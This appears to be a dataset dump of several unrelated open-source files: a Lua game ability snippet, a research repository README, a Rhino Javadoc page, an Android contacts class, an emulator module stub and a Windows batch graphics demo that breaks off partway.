double:SetPlayerID(caster:GetPlayerOwnerID())
-- Add the illusion created to a table within the caster handle, to remove the illusions on the next cast if necessary
table.insert(caster.kobold_super_illusions, double)
end
end
| RodneyMcKay/x_hero_siege | game/dota_addons/barebones/scripts/vscripts/abilities/heroes/hero_kobold_knight.lua | Lua | gpl-2.0 | 5,591 |
NIS_pathway_level_models
========================
This repository contains R code associated with 'Predicting non-indigenous species establishment with pathway-level models that combine propagule pressure, environmental tolerance and trait data' published in the Journal of Applied Ecology
| johannabradie/NIS_pathway_level_models | README.md | Markdown | gpl-2.0 | 291 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_11) on Sun Mar 22 14:32:31 EDT 2009 -->
<TITLE>
RhinoException (Rhino)
</TITLE>
<META NAME="date" CONTENT="2009-03-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="RhinoException (Rhino)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/mozilla/javascript/RefCallable.html" title="interface in org.mozilla.javascript"><B>PREV CLASS</B></A>
<A HREF="../../../org/mozilla/javascript/Script.html" title="interface in org.mozilla.javascript"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/mozilla/javascript/RhinoException.html" target="_top"><B>FRAMES</B></A>
<A HREF="RhinoException.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
org.mozilla.javascript</FONT>
<BR>
Class RhinoException</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by ">java.lang.Throwable
<IMG SRC="../../../resources/inherit.gif" ALT="extended by ">java.lang.Exception
<IMG SRC="../../../resources/inherit.gif" ALT="extended by ">java.lang.RuntimeException
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.mozilla.javascript.RhinoException</B>
</PRE>
<DL>
<DT><B>All Implemented Interfaces:</B> <DD>java.io.Serializable</DD>
</DL>
<DL>
<DT><B>Direct Known Subclasses:</B> <DD><A HREF="../../../org/mozilla/javascript/EcmaError.html" title="class in org.mozilla.javascript">EcmaError</A>, <A HREF="../../../org/mozilla/javascript/EvaluatorException.html" title="class in org.mozilla.javascript">EvaluatorException</A>, <A HREF="../../../org/mozilla/javascript/JavaScriptException.html" title="class in org.mozilla.javascript">JavaScriptException</A></DD>
</DL>
<HR>
<DL>
<DT><PRE>public abstract class <B>RhinoException</B><DT>extends java.lang.RuntimeException</DL>
</PRE>
<P>
The class of exceptions thrown by the JavaScript engine.
<P>
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../serialized-form.html#org.mozilla.javascript.RhinoException">Serialized Form</A></DL>
<HR>
<P>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#columnNumber()">columnNumber</A></B>()</CODE>
<BR>
The column number of the location of the error, or zero if unknown.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#details()">details</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#getMessage()">getMessage</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#getScriptStackTrace()">getScriptStackTrace</A></B>()</CODE>
<BR>
Get a string representing the script stack of this exception.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#getScriptStackTrace(java.io.FilenameFilter)">getScriptStackTrace</A></B>(java.io.FilenameFilter filter)</CODE>
<BR>
Get a string representing the script stack of this exception.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initColumnNumber(int)">initColumnNumber</A></B>(int columnNumber)</CODE>
<BR>
Initialize the column number of the script statement causing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initLineNumber(int)">initLineNumber</A></B>(int lineNumber)</CODE>
<BR>
Initialize the line number of the script statement causing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initLineSource(java.lang.String)">initLineSource</A></B>(java.lang.String lineSource)</CODE>
<BR>
Initialize the text of the source line containing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initSourceName(java.lang.String)">initSourceName</A></B>(java.lang.String sourceName)</CODE>
<BR>
Initialize the uri of the script source containing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#lineNumber()">lineNumber</A></B>()</CODE>
<BR>
Returns the line number of the statement causing the error,
or zero if not available.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#lineSource()">lineSource</A></B>()</CODE>
<BR>
The source text of the line causing the error, or null if unknown.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#printStackTrace(java.io.PrintStream)">printStackTrace</A></B>(java.io.PrintStream s)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#printStackTrace(java.io.PrintWriter)">printStackTrace</A></B>(java.io.PrintWriter s)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#sourceName()">sourceName</A></B>()</CODE>
<BR>
Get the uri of the script source containing the error, or null
if that information is not available.</TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Throwable"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Throwable</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>fillInStackTrace, getCause, getLocalizedMessage, getStackTrace, initCause, printStackTrace, setStackTrace, toString</CODE></TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ METHOD DETAIL ========== -->
<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Method Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="getMessage()"><!-- --></A><H3>
getMessage</H3>
<PRE>
public final java.lang.String <B>getMessage</B>()</PRE>
<DL>
<DD><DL>
<DT><B>Overrides:</B><DD><CODE>getMessage</CODE> in class <CODE>java.lang.Throwable</CODE></DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="details()"><!-- --></A><H3>
details</H3>
<PRE>
public java.lang.String <B>details</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="sourceName()"><!-- --></A><H3>
sourceName</H3>
<PRE>
public final java.lang.String <B>sourceName</B>()</PRE>
<DL>
<DD>Get the uri of the script source containing the error, or null
if that information is not available.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initSourceName(java.lang.String)"><!-- --></A><H3>
initSourceName</H3>
<PRE>
public final void <B>initSourceName</B>(java.lang.String sourceName)</PRE>
<DL>
<DD>Initialize the uri of the script source containing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>sourceName</CODE> - the uri of the script source responsible for the error.
It should not be <tt>null</tt>.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="lineNumber()"><!-- --></A><H3>
lineNumber</H3>
<PRE>
public final int <B>lineNumber</B>()</PRE>
<DL>
<DD>Returns the line number of the statement causing the error,
or zero if not available.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initLineNumber(int)"><!-- --></A><H3>
initLineNumber</H3>
<PRE>
public final void <B>initLineNumber</B>(int lineNumber)</PRE>
<DL>
<DD>Initialize the line number of the script statement causing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>lineNumber</CODE> - the line number in the script source.
It should be positive number.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="columnNumber()"><!-- --></A><H3>
columnNumber</H3>
<PRE>
public final int <B>columnNumber</B>()</PRE>
<DL>
<DD>The column number of the location of the error, or zero if unknown.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initColumnNumber(int)"><!-- --></A><H3>
initColumnNumber</H3>
<PRE>
public final void <B>initColumnNumber</B>(int columnNumber)</PRE>
<DL>
<DD>Initialize the column number of the script statement causing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>columnNumber</CODE> - the column number in the script source.
It should be positive number.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="lineSource()"><!-- --></A><H3>
lineSource</H3>
<PRE>
public final java.lang.String <B>lineSource</B>()</PRE>
<DL>
<DD>The source text of the line causing the error, or null if unknown.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initLineSource(java.lang.String)"><!-- --></A><H3>
initLineSource</H3>
<PRE>
public final void <B>initLineSource</B>(java.lang.String lineSource)</PRE>
<DL>
<DD>Initialize the text of the source line containing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>lineSource</CODE> - the text of the source line responsible for the error.
It should not be <tt>null</tt>.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="getScriptStackTrace()"><!-- --></A><H3>
getScriptStackTrace</H3>
<PRE>
public java.lang.String <B>getScriptStackTrace</B>()</PRE>
<DL>
<DD>Get a string representing the script stack of this exception.
If optimization is enabled, this corresponds to all java stack elements
with a source name ending with ".js".
<P>
<DD><DL>
<DT><B>Returns:</B><DD>a script stack dump<DT><B>Since:</B></DT>
<DD>1.6R6</DD>
</DL>
</DD>
</DL>
<HR>
<A NAME="getScriptStackTrace(java.io.FilenameFilter)"><!-- --></A><H3>
getScriptStackTrace</H3>
<PRE>
public java.lang.String <B>getScriptStackTrace</B>(java.io.FilenameFilter filter)</PRE>
<DL>
<DD>Get a string representing the script stack of this exception.
If optimization is enabled, this corresponds to all java stack elements
with a source name matching the <code>filter</code>.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>filter</CODE> - the file name filter to determine whether a file is a
script file
<DT><B>Returns:</B><DD>a script stack dump<DT><B>Since:</B></DT>
<DD>1.6R6</DD>
</DL>
</DD>
</DL>
<HR>
<A NAME="printStackTrace(java.io.PrintWriter)"><!-- --></A><H3>
printStackTrace</H3>
<PRE>
public void <B>printStackTrace</B>(java.io.PrintWriter s)</PRE>
<DL>
<DD><DL>
<DT><B>Overrides:</B><DD><CODE>printStackTrace</CODE> in class <CODE>java.lang.Throwable</CODE></DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="printStackTrace(java.io.PrintStream)"><!-- --></A><H3>
printStackTrace</H3>
<PRE>
public void <B>printStackTrace</B>(java.io.PrintStream s)</PRE>
<DL>
<DD><DL>
<DT><B>Overrides:</B><DD><CODE>printStackTrace</CODE> in class <CODE>java.lang.Throwable</CODE></DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/mozilla/javascript/RefCallable.html" title="interface in org.mozilla.javascript"><B>PREV CLASS</B></A>
<A HREF="../../../org/mozilla/javascript/Script.html" title="interface in org.mozilla.javascript"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/mozilla/javascript/RhinoException.html" target="_top"><B>FRAMES</B></A>
<A HREF="RhinoException.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
| adamfisk/littleshoot-client | bin/rhino1_7R2/javadoc/org/mozilla/javascript/RhinoException.html | HTML | gpl-2.0 | 20,269 |
/*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.contacts.model.dataitem;
import android.content.ContentValues;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.SipAddress;
import com.android.contacts.model.RawContact;
/**
* Represents a sip address data item, wrapping the columns in
* {@link ContactsContract.CommonDataKinds.SipAddress}.
*/
public class SipAddressDataItem extends DataItem {
/* package */ SipAddressDataItem(RawContact rawContact, ContentValues values) {
super(rawContact, values);
}
public String getSipAddress() {
return getContentValues().getAsString(SipAddress.SIP_ADDRESS);
}
/**
* Value is one of SipAddress.TYPE_*
*/
public int getType() {
return getContentValues().getAsInteger(SipAddress.TYPE);
}
public String getLabel() {
return getContentValues().getAsString(SipAddress.LABEL);
}
}
| rex-xxx/mt6572_x201 | packages/apps/Contacts/src/com/android/contacts/model/dataitem/SipAddressDataItem.java | Java | gpl-2.0 | 1,543 |
#include "stdafx.h"
#include "Emu/System.h"
#include "Emu/ARMv7/PSVFuncList.h"
#include "sceAppUtil.h"
s32 sceAppUtilInit(vm::psv::ptr<const SceAppUtilInitParam> initParam, vm::psv::ptr<SceAppUtilBootParam> bootParam)
{
throw __FUNCTION__;
}
s32 sceAppUtilShutdown()
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotCreate(u32 slotId, vm::psv::ptr<const SceAppUtilSaveDataSlotParam> param, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotDelete(u32 slotId, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotSetParam(u32 slotId, vm::psv::ptr<const SceAppUtilSaveDataSlotParam> param, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotGetParam(u32 slotId, vm::psv::ptr<SceAppUtilSaveDataSlotParam> param, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataFileSave(vm::psv::ptr<const SceAppUtilSaveDataFileSlot> slot, vm::psv::ptr<const SceAppUtilSaveDataFile> files, u32 fileNum, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint, vm::psv::ptr<u32> requiredSizeKB)
{
throw __FUNCTION__;
}
s32 sceAppUtilPhotoMount()
{
throw __FUNCTION__;
}
s32 sceAppUtilPhotoUmount()
{
throw __FUNCTION__;
}
s32 sceAppUtilSystemParamGetInt(u32 paramId, vm::psv::ptr<s32> value)
{
throw __FUNCTION__;
}
s32 sceAppUtilSystemParamGetString(u32 paramId, vm::psv::ptr<char> buf, u32 bufSize)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveSafeMemory(vm::psv::ptr<const void> buf, u32 bufSize, s64 offset)
{
throw __FUNCTION__;
}
s32 sceAppUtilLoadSafeMemory(vm::psv::ptr<void> buf, u32 bufSize, s64 offset)
{
throw __FUNCTION__;
}
#define REG_FUNC(nid, name) reg_psv_func(nid, &sceAppUtil, #name, name)
psv_log_base sceAppUtil("SceAppUtil", []()
{
sceAppUtil.on_load = nullptr;
sceAppUtil.on_unload = nullptr;
sceAppUtil.on_stop = nullptr;
REG_FUNC(0xDAFFE671, sceAppUtilInit);
REG_FUNC(0xB220B00B, sceAppUtilShutdown);
REG_FUNC(0x7E8FE96A, sceAppUtilSaveDataSlotCreate);
REG_FUNC(0x266A7646, sceAppUtilSaveDataSlotDelete);
REG_FUNC(0x98630136, sceAppUtilSaveDataSlotSetParam);
REG_FUNC(0x93F0D89F, sceAppUtilSaveDataSlotGetParam);
REG_FUNC(0x1E2A6158, sceAppUtilSaveDataFileSave);
REG_FUNC(0xEE85804D, sceAppUtilPhotoMount);
REG_FUNC(0x9651B941, sceAppUtilPhotoUmount);
REG_FUNC(0x5DFB9CA0, sceAppUtilSystemParamGetInt);
REG_FUNC(0x6E6AA267, sceAppUtilSystemParamGetString);
REG_FUNC(0x9D8AC677, sceAppUtilSaveSafeMemory);
REG_FUNC(0x3424D772, sceAppUtilLoadSafeMemory);
});
| Syphurith/rpcs3 | rpcs3/Emu/ARMv7/Modules/sceAppUtil.cpp | C++ | gpl-2.0 | 2,648 |
@echo off
cd ..
setlocal ENABLEDELAYEDEXPANSION
cmdwiz setfont 8 & cls
set /a W=176, H=80
set /a W8=W/2, H8=H/2
mode %W8%,%H8% & cmdwiz showcursor 0
set FNT=1& rem 1 or a
if "%FNT%"=="a" mode 30,10
for /F "Tokens=1 delims==" %%v in ('set') do if not %%v==FNT if not %%v==W if not %%v==H set "%%v="
set /a XC=0, YC=0, XCP=4, YCP=5, MODE=0, WW=W*2, WWM=WW+10
set /a BXA=15, BYA=9 & set /a BY=-!BYA!, RX=0, RY=0, RZ=0
set BALLS=""
cmdwiz setbuffersize 360 80
for /L %%a in (1,1,7) do set /a BY+=!BYA!,BX=180 & for /L %%b in (1,1,10) do set /a S=4 & (if %%a == 4 set S=_s) & (if %%b == 3 set S=_s) & set BALLS="!BALLS:~1,-1! & box f 0 db !BX!,!BY!,14,!BYA!"& set /a BX+=!BXA!
cmdgfx "fbox 1 0 04 180,0,180,80 & %BALLS:~1,-1%"
cmdwiz saveblock img\btemp 180 0 136 55
cmdwiz setbuffersize 180 80
set BALLS=
cmdwiz setbuffersize - -
if "%FNT%"=="a" cmdwiz setbuffersize 30 10
call centerwindow.bat 0 -15
set /a FCNT=0, NOF_STARS=200, SDIST=3000
set /a XMID=90/2&set /a YMID=80/2
set /A TX=0,TX2=-2600,RX=0,RY=0,RZ=0,TZ=0,TZ2=0
set BGCOL=0
set COLS=f %BGCOL% 04 f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8
set I0=myface.txt&set I1=evild.txt&set I2=ugly0.pcx&set I3=mario1.gxy&set I4=emma.txt&set I5=glass.txt&set I6=fract.txt&set I7=checkers.gxy&set I8=mm.txt&set I9=wall.pcx&set I10=btemp.gxy
set /a IC=0, CC=15
set t1=!time: =0!
:REP
for /L %%1 in (1,1,300) do if not defined STOP for %%i in (!IC!) do for %%c in (!CC!) do (
for /F "tokens=1-8 delims=:.," %%a in ("!t1!:!time: =0!") do set /a "a=((((1%%e-1%%a)*60)+1%%f-1%%b)*6000+1%%g%%h-1%%c%%d),a+=(a>>31)&8640000"
if !a! geq 1 (
set /a TX+=7&if !TX! gtr 2600 set TX=-2600
set /a TX2+=7&if !TX2! gtr 2600 set TX2=-2600
